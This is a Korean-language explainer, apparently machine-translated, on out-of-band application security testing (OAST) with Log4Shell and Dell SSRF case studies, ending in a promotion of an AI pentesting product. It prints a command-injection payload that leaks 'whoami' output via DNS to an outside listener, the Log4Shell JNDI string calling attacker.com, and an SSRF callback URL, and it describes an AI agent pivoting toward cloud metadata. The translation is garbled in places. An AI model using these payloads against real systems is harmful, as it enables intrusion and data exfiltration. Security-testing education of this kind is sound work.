수년 동안 애플리케이션 보안 업계는 '리플렉션' 모델에 크게 의존해 왔습니다. 사용자가 페이로드(입력)를 보내면 서버가 응답(출력)을 보내는 방식입니다. 응답에 구문 오류나 특정 문자열이 포함되어 있으면 취약점이 있는 것입니다. 이것이 바로 DAST(동적 애플리케이션 보안 테스트)의 근간입니다.

하지만 애플리케이션이 오류를 삼키면 어떻게 될까요? 인젝션은 작동하지만 엄격한 송신 필터링 또는 비동기 처리로 인해 데이터베이스 응답이 클라이언트로 다시 전송되지 않는다면 어떻게 될까요?

여기에서 OAST(대역 외 애플리케이션 보안 테스트) 가 중요해집니다. OAST의 의미를 이해하려면 표준 요청/응답 주기를 넘어 애플리케이션이 외부 네트워크와 맺는 보이지 않는 상호 작용을 살펴봐야 합니다.

기술 핵심: OAST란 무엇인가요?

OAST 를 사용하면 보안 테스터가 직접 응답에 의존하지 않고 대상 애플리케이션이 공격자(또는 테스터)가 제어하는 서버에 연결하도록 유도하여 취약점을 탐지할 수 있습니다.

표준 DAST 시나리오에서 피드백 루프는 동기식 및 대역 내입니다:

테스터 대상 애플리케이션

OAST 시나리오에서 피드백 루프는 다음과 같습니다. 비동기 및 대역 외:

1. 테스터 페이로드를 다음 주소로 전송합니다. 대상 애플리케이션.
2. 대상 애플리케이션 페이로드를 처리하고 무의식적으로 다음 주소로 DNS 또는 HTTP 요청을 실행합니다. 외부 OAST 리스너.
3. 외부 OAST 리스너 는 상호 작용을 캡처하고 테스터.

이 메커니즘은 다음을 감지할 수 있는 유일한 신뢰할 수 있는 방법입니다. 블라인드 블라인드 SQL 인젝션, 블라인드 SSRF(서버 측 요청 위조), 블라인드 RCE(원격 코드 실행)와 같은 취약점을 오탐률이 거의 제로에 가깝게 탐지했습니다.

OAST 페이로드의 해부학

메커니즘을 시각화하기 위해 블라인드 원격 코드 실행(RCE) 시나리오를 생각해 보세요. 서버가 명령을 실행하지만 일반적인 200 OK 메시지를 표시합니다. DAST 스캐너는 이를 "안전"으로 표시합니다.

OAST 접근 방식은 DNS 조회를 강제하는 페이로드를 삽입합니다:

Bash

블라인드 RCE 테스트를 위한 `# 개념 페이로드

${host} 변수는 고유한 OAST 리스너 도메인으로 대체됩니다.

user_input="; ping -c 1 $(whoami).x72b.oast-listener.com ;"`

서버가 취약한 경우 다음을 실행합니다. ping. 운영 체제가 다음을 해결하려고 시도합니다. root.x72b.oast-listener.com. OAST 수신기가 DNS 쿼리를 기록합니다. DNS 쿼리가 도착했다는 사실 는 착취의 증거.

비교 분석: SAST 대 DAST 대 IAST 대 OAST

하드코어 엔지니어에게 있어 차별점은 다음과 같습니다. 유리한 지점 및 신호 대 잡음비.

사례 연구: 야생의 OAST

영향력이 큰 CVE를 보면 이론적인 'OAST 의미'가 확고해집니다.

클래식: Log4Shell(CVE-2021-44228)

Log4Shell은 OAST의 분수령이었습니다. 이 취약점은 JNDI(Java 네이밍 및 디렉토리 인터페이스) 인젝션에 의존했습니다.

• 페이로드: ${jndi:ldap://attacker.com/exploit}
• OAST 메커니즘: 취약한 Log4j 라이브러리는 문자열을 구문 분석하고 다음과 같은 아웃바운드 LDAP 연결을 시작했습니다. 공격자닷컴.
• 탐지: 로그를 구문 분석하지 못하는 기존 스캐너는 이를 놓쳤습니다. OAST 스캐너는 단순히 콜백을 기다리기만 했습니다. 전화가 울리면 서버가 취약한 상태였습니다.

최신: Dell UCC Edge 블라인드 SSRF(CVE-2025-22399)

2025년에 접어들면서 OAST는 여전히 최신 인프라에 필수적인 요소입니다. 최근의 예는 다음과 같습니다. CVE-2025-22399 (CVSS 7.9), Dell UCC Edge의 블라인드 SSRF입니다.

• 벡터: 인증되지 않은 공격자가 '고객 SFTP 서버 추가' 기능에 악성 URL을 삽입할 수 있습니다.
• 사각지대: 애플리케이션은 가져온 URL의 콘텐츠를 반환하지 않았습니다(일반적인 SSRF). 대신 내부적으로 요청을 처리했을 뿐입니다.
• OAST 솔루션: SFTP 서버 주소를 OAST 수신기로 가리키면(예 sftp://oast-domain.com), 테스터는 Dell 서버에서 들어오는 연결 시도를 관찰하여 취약점을 확인합니다.

진화: 수동 청취자에서 AI 에이전트로의 진화

지금까지 OAST는 수동 또는 반자동 프로세스로 진행되었습니다. 펜테스터는 다음과 같은 도구를 사용합니다. 트림 공동 작업자 또는 프로젝트 디스커버리의 인터랙시. 페이로드를 생성하여 뿌린 다음 리스너의 '핑'을 기다립니다.

그러나 현대의 공격 표면은 수동으로 상관관계를 파악하기에는 너무 방대합니다. 바로 이 지점에서 AI 기반 보안이 패러다임을 바꾸고 있습니다.

기존 스캐너의 한계

표준 스캐너는 OAST를 바이너리 검사로 처리합니다: "DNS 콜백을 받았습니까? 예/아니오." 그들은 종종 어려움을 겪습니다:

1. 컨텍스트 체인: OAST 확인을 사용하여 2단계 익스플로잇으로 피벗합니다.
2. 다형성 페이로드: WAF를 우회하기 위해 OAST 페이로드를 동적으로 조정(예: 중첩된 JSON 구조 내에서 DNS 요청을 인코딩)합니다.

AI 기반 OAST 시작하기 Penligent.ai

다음과 같은 플랫폼이 여기에 해당합니다. Penligent.ai 격차를 해소합니다. 펜리전트는 단순히 스크립트를 실행하는 대신 다음과 같은 상황을 이해하는 AI 에이전트를 사용합니다. 의미론적 의미 의 상호작용에 대해 설명합니다.

펜리전트 에이전트는 특정 매개변수에서 DNS 콜백을 감지하면 단순히 보고하는 데 그치지 않습니다. 컨텍스트를 분석합니다: "'프로필 이미지' 업로드 필드에서 DNS 콜백을 받았습니다. 이것은 블라인드 SSRF를 나타냅니다. 이제 이 채널을 사용하여 내부 클라우드 메타데이터 서비스(IMDS)를 매핑하려고 합니다."

인간 시니어 펜테스터가 사용하는 로직(대역 외 신호와 내부 로직의 상관관계)을 자동화함으로써 AI 에이전트는 OAST를 수동적인 '청취' 기술에서 능동적이고 지능적인 익스플로잇 벡터로 전환합니다.

결론

이해 OAST 의미 인터넷의 보이지 않는 대화를 효과적으로 이해하는 것입니다. 애플리케이션이 점점 더 분리되고 API, 마이크로서비스 및 타사 통합에 크게 의존함에 따라 보안 테스트의 '반영' 모델은 그 가치가 감소하고 있습니다.

보안 엔지니어에게 OAST 도구와 방법론을 숙달하는 것은 더 이상 선택 사항이 아니며, 로그에 잠복한 채 트리거를 기다리는 취약점의 존재를 증명할 수 있는 유일한 방법입니다.

참조:

• 포트스위거: 대역 외 애플리케이션 보안 테스트(OAST)
• OWASP: 블라인드 SQL 주입
• NIST NVD: CVE-2025-22399 세부 정보